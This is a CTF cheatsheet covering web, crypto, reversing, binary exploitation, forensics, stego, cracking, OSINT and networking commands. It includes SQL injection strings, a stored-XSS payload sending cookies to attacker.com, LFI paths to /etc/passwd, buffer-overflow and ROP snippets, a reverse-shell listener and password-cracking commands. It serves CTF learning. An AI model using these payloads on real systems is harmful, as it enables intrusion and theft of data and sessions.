CTF Master Cheatsheet

-Shimanta Deb Nath

Table of Contents Page

JUNE 10, 2025

1. Web Exploitation

Attacking web apps, APIs, and servers.

◆ Tools

Tool	Purpose	Command Example
Burp Suite	Intercept/modify HTTP traffic	burpsuite (GUI)
sqlmap	Automated SQL injection	sqlmap -u "http://site.com?id=1" --dbs
ffuf	Directory fuzzing	ffuf -w wordlist.txt -u http://site.com/FUZZ
Wappalyzer	Detect web technologies	Browser extension

◆ Common Attacks

1. SQL Injection (SQLi)

Union-Based:

' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables-- -

Blind SQLi (Time-Based):

' OR IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- -

2. Cross-Site Scripting (XSS)

Stored XSS:

```
<script>fetch('http://attacker.com/?cookie='+document.cookie)</script>
```

DOM XSS:

```
<img src=x onerror=alert(1)>
```

3. Local File Inclusion (LFI)

Basic LFI:

/etc/passwd

../../../../etc/passwd

PHP Wrappers:

?page=php://filter/convert.base64-encode/resource=index.php

2.Cryptography & Encryption

◆ Classic Ciphers

Cipher	**Tool/Decryption Method**
XOR	CyberChef or manual Python script
Atbash	tr 'A-Za-z' 'Z-Az-a'
Vigenère	python3 -c "from pycipher import Vigenère; print(Vigenère('KEY').decrypt('CIPHERTEXT'))"
Railfence	Decoder

◆ RSA Attacks

Attack Type	**Tool/Command**
Small e (e=3)	rsactftool.py -n <n> -e 3 --uncipher <ciphertext>
Chinese Remainder Theorem	python3 -m sage -- crt.sage (Multiple n and c)
FactorDB	factordb.com (Factorize n)

3. Reverse Engineering & Binary Analysis

◆ Disassembly/Decompilation

Tool	Use Case
Ghidra	Decompile binaries (GUI)
radare2	r2 -d ./binary (CLI analysis)
IDA Pro	Advanced disassembly (Commercial)
Hopper	macOS disassembler

◆ Dynamic Analysis

gdb (With plugins):

```
gdb ./binary
> break *main+0x10
> run
> info registers
```

ltrace/strace:

```
ltrace ./binary      # Library calls
strace ./binary      # System calls
```

4. Binary Exploitation (Pwn)

◆ Exploit Development Workflow

i. Fuzzing: Crash the binary with long inputs.

ii. Offset Calculation:

```
pattern create 200
pattern offset $eip
```

iii. Control EIP/RIP: Overwrite return address.

iv. Shellcode Execution:

```
from pwn import *
payload = b"A"*72 + p64(0xdeadbeef)
```

- **ROP Chains**

i. Find Gadgets:

```
ROPgadget --binary ./binary \| grep "pop rdi"
```

ii. Leak Libc Address:

```
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rop.raw(puts_plt + puts_got)
```

5. Forensics Mobile/APK & File Analysis

- **File Inspection Tools**

Tool	Command/Use Case
exiftool	exiftool image.jpg (Metadata extraction)
binwalk	binwalk -e file.bin (Extract embedded files)
pngcheck	pngcheck -v image.png (PNG integrity check)
strings	strings -n 8 binary | grep "flag"
xxd/hexed.it	xxd file.bin or hexed.it (Hex editor)

Memory/Disk Forensics

- Volatility (Memory analysis):
  - volatility -f memory.dump imageinfo
  - volatility --profile=Win7SP1 pslist
- Autopsy (GUI-based disk analysis)
- photorec (Recover deleted files): photorec /dev/sdX

APK Analysis Tools

Tool	Command/Use Case
apktool	apktool d app.apk (Decompile APK)
dex2jar	d2j-dex2jar.sh classes.dex (Convert to JAR)
jd-gui	View decompiled Java code (GUI)

Android Memory Forensics

- Volatility with Android profiles
- dumpzilla: Extract browser artifacts

6. Audio/Steganography

Tools

Tool	Command/Use Case
Audacity	Analyze spectrograms (View → Spectrogram)
Sonic Visualizer	Detect hidden tones/patterns
multimon-ng	Decode DTMF/Morse: multimon-ng -a DTMF -t wav audio.wav

- **Stego Techniques**

  LSB Steganography: *zsteg -a image.png*

  JSteg: *jsteg reveal image.jpg*

7. Archive/File Cracking

- **Password Cracking**

Tool	Command
John the Ripper	john --format=zip hash.txt
fcrackzip	fcrackzip -u -D -p rockyou.txt archive.zip
pdfcrack	pdfcrack -f file.pdf -w rockyou.txt

- **Zip Analysis**

  - zipinfo: zipinfo -v archive.zip
  - zipdetails: zipdetails -v archive.zip

8. OSINT

Open-source intelligence gathering.

- **Google Dorks**

site:target.com inurl:admin

intitle:"index of" "parent directory"

filetype:pdf "confidential"

- **Image Metadata**

exiftool photo.jpg \| grep "Camera"

9. Networking

Port scanning, traffic analysis.

- **Nmap Scans**

```
nmap -sV -sC -p- -T4 target.com       # Full port scan
nmap --script vuln target.com         # Vulnerability scan
```

- **Netcat (Swiss Army Knife)**

```
nc -lvnp 4444                         # Listen for reverse shell
nc target.com 80                      # Manual HTTP request
```

10. Scripting

Python/Bash one-liners for CTFs.

- **Python Snippets**

```
# XOR Decryption
key = "SECRET"
data = bytes([data[i] ^ ord(key[i%len(key)]) for i in range(len(data))])
```

- **Bash Automation**

```
for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip \| grep "bytes from"; done
```

11. Miscellaneous

- **File Analysis**

```
xxd -g1 file.bin         # Hex dump
file mystery             # Detect file type
```

- **Encoding/Decoding**

```
echo "flag" \| base64     # Encode to Base64
echo "666C6167" \| xxd -r -p  # Hex to ASCII
```